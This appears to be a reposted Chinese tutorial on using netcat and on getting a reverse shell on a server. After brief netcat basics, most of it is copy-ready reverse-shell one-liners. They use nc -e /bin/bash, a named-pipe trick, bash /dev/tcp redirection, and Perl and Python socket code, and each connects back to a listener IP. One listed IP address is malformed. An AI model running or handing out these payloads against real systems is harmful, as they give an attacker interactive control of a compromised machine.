0x00 NC 命令详解
在介绍如何反弹 shell 之前, 先了解相关知识要点.
nc 全称为 netcat, 所做的就是在两台电脑之间建立链接, 并返回两个数据流
可运行在 TCP 或者 UDP 模式, 添加参数 -u 则调整为 udP, 默认为 tcp
-v 参数, 详细输出
n 参数高数 netcat 不要 DNS 反向查询 IP 的域名
z 参数, 连接成功后立即关闭连接
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口 21 并且打印运行在这个端口上服务的 banner 信息.
使用 nc 聊天
$nc -l 1567
netcat 命令在 1567 端口启动了一个 tcp 服务器, 所有的标准输出和输入会输出到该端口. 输出和输入都在此 shell 中展示.
$nc 172.31.100.7 1567
不管你在机器 B 上键入什么都会出现在机器 A 上.
实测好像并不可以...
nc 进行文件传输
- Server:
- $nc -l 1567 <file.txt
- Client:
- $nc -n 172.31.100.7 1567> file.txt
好像也不行...
不管这些还是直接来反弹 shell 吧
0x01 NC 反弹 shell
正向反弹 shell
服务器端
nc -lvvp 7777 -e /bin/bash
本地
nc 192.168.242.129 7777
即可获得服务器端的 shell
反向反弹 shell
服务端
nc -e /bin/bash 192.168.242.1 7777
本地
nc -lvvp 7777
不使用 - e 参数反弹
使用管道
服务端
- mknod /tmp/backpipe p
- /bin/sh 0/tmp/backpipe
攻击端
nc -lnvp 7777
mknod 需要 root 用户, 但是也可以通过 mkfifo /tmp/backpipe 也可以创建一个管道.
0x02 Bash 反弹
服务端:
bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'
或者
bash -i>& /dev/tcp/192.168.242.1/7777 0>&1
攻击端:
nc -lvvp 7777
0x03 Perl 反弹 shell
服务端:
perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
或者
- perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
- 0x04 Python
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x05 最后
个人觉得这几种应该就够用了, 至于其他环境, 再看具体情况吧, 有一些环境服务器不一定有的
来源: http://www.bubuko.com/infodetail-3089002.html